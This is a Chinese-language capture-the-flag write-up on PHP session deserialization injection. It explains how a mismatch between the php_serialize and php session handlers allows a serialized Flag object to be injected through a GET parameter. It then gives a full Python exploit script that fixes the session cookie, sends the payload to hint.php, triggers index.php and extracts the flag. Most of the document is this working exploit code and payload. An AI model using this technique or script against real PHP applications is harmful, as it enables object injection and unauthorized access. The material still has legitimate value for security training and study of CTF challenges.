这是一个典型的 Session 处理器不一致 导致的反序列化注入:
hint.php 使用 php_serialize 方式写 session。
index.php 默认使用 php 方式读 session。
两种格式不同,导致同一个 session 文件被错读。
php_serialize:把整个 $_SESSION 当普通 PHP 变量序列化,格式类似:
a:1:{s:1:"a";s:41:"|O:4:"Flag":2:{...}";}
php(默认):按 key|serialized_value 的分隔协议解析,遇到 | 会把它当键值分隔符。
给 $_GET['a'] 传:
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}
在 php_serialize 写入阶段时,这只是普通字符串。
但在 php 读取阶段,解析器会把 | 后面当成一个序列化值,从而把 Flag 对象反序列化出来。
反序列化后触发 Flag::__wakeup(),执行了输出flag。
这道题的知识点很简单,但在实际操作时,直接操作很容易出问题。
因为先是高亮显示源码,然后再启用session,直接操作会导致实际注入触发时,两个网页或者当个网页的session没有变化,从没没有触发反序列化,得到flag。
#!/usr/bin/env python3
import random
import re
import string
import sys
from urllib.parse import urljoin
import requests
def build_sid(prefix="ctf"):
chars = string.ascii_lowercase + string.digits
return prefix + "".join(random.choice(chars) for _ in range(16))
def normalize_base(base):
if not base.startswith("http://") and not base.startswith("https://"):
base = "http://" + base
return base.rstrip("/") + "/"
def extract_flag(text):
patterns = [
r"Geesec\{[^\r\n<]{1,200}\}",
r"flag\{[^\r\n<]{1,200}\}",
r"ctf\{[^\r\n<]{1,200}\}",
r"[A-Za-z0-9_\-]*\{[0-9a-fA-F\-]{16,}\}",
]
for p in patterns:
m = re.search(p, text, flags=re.I)
if m:
return m.group(0)
return None
def main():
base = (
sys.argv[1]
if len(sys.argv) > 1
else "http://80-f09dbe82-da40-4ad5-bc59-923978604ab2.challenge.ctfplus.cn" #url更改点
)
base = normalize_base(base)
injection_path = "hint.php"
trigger_path = "index.php"
payload = '|O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}'
sid = build_sid()
injection_url = urljoin(base, injection_path)
trigger_url = urljoin(base, trigger_path)
s = requests.Session()
s.headers.update(
{
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
# 关键:即使服务端报 headers already sent,也能固定同一个 session
"Cookie": f"PHPSESSID={sid}",
}
)
print(f"[*] Base URL : {base}")
print(f"[*] Injection URL : {injection_url}")
print(f"[*] Trigger URL : {trigger_url}")
print(f"[*] PHPSESSID : {sid}")
try:
r1 = s.get(injection_url, params={"a": payload}, timeout=15)
print(f"[+] Inject request sent, status={r1.status_code}, len={len(r1.text)}")
except Exception as e:
print(f"[-] Injection failed: {e}")
sys.exit(1)
try:
r2 = s.get(trigger_url, timeout=15)
print(f"[+] Trigger request sent, status={r2.status_code}, len={len(r2.text)}")
except Exception as e:
print(f"[-] Trigger failed: {e}")
sys.exit(1)
flag = extract_flag(r2.text)
if flag:
print(f"[+] FLAG FOUND: {flag}")
sys.exit(0)
print("[-] Flag not found in response.")
print("[i] Debug tail (last 800 chars):")
tail = r2.text[-800:]
print(tail)
sys.exit(2)
if __name__ == "__main__":
main()